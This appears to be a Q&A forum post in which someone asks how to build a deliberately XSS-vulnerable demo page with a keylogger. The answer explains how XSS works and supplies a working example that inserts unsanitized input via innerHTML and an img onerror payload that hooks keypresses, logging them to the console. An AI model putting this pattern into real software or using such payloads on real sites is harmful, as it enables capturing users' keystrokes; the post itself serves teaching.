Search code examples
javascriptxss

How to make a XSS vulnerable site with a keyboard logger?


I want to create an website which is vulnerable to an XSS attack where the attacker tries to inject an keylogger who logs the keystrokes of every victim on this website.

Here is the deployed website and following the code:

function submitted(){
    alert("Submitted!");
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="index.js"></script>
</head>
<body>
    <h1>XSS keylogger test website</h1>
    <form id="form">
        <input type="text" id="fname" name="fname">
        <input type="submit" value="Submit" onclick="submitted()">
    </form>
</body>
</html>

An example of an JS script which contains code for an keyboard logger who could be injected:

<script>
    function keyPressed(){
    alert("key pressed");
    }
    window.captureEvents (Event.KEYPRESS); 
    window.onkeypress=keyPressed; 
</script>

If I just put the code in the input field nothing happens. How can I embed the code into the website that it actually works?

INFO

The project is only used for demonstration and learning purposes.


Solution

  • keylogger who logs the keystrokes of every victim on this website.

    Given your setup, that isn't really how XSS works. XSS works by either:

    • One user submitting content, then the server rendering that content to other users in an unsafe manner. Since your server isn't saving user-generated content (like in a database) and then displaying it to other visitors, even considering this approach is a non-starter because you aren't doing anything like that.
    • Or, a user being tricked into submitting content that then results in arbitrary code execution. This is a problem because, for example, that user's login credentials and other data could then be stolen (if the site had such features). This is reasonably feasible given any badly designed front-end setup - for example, by inserting the user's text as HTML without sanitization (like with a todo list or something). (If you don't insert the user's text into the DOM somewhere, XSS is off the table)

    const fname = document.querySelector('#fname');
    function submitted(){
        document.querySelector('.current-input-text').innerHTML = 'You submitted: ' + fname.value;
        fname.value = '';
    }
    fname.value = `
      <img src="bad" onerror='window.onkeypress = (e) => console.log(e.key + " PRESSED");'>`;
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
        <script src="index.js"></script>
    </head>
    <body>
        <h1>XSS keylogger test website</h1>
        <form id="form" onsubmit="return false;">
            <input type="text" id="fname" name="fname">
            <input type="submit" value="Submit" onclick="submitted()">
        </form>
        <div class="current-input-text"></div>
    </body>
    </html>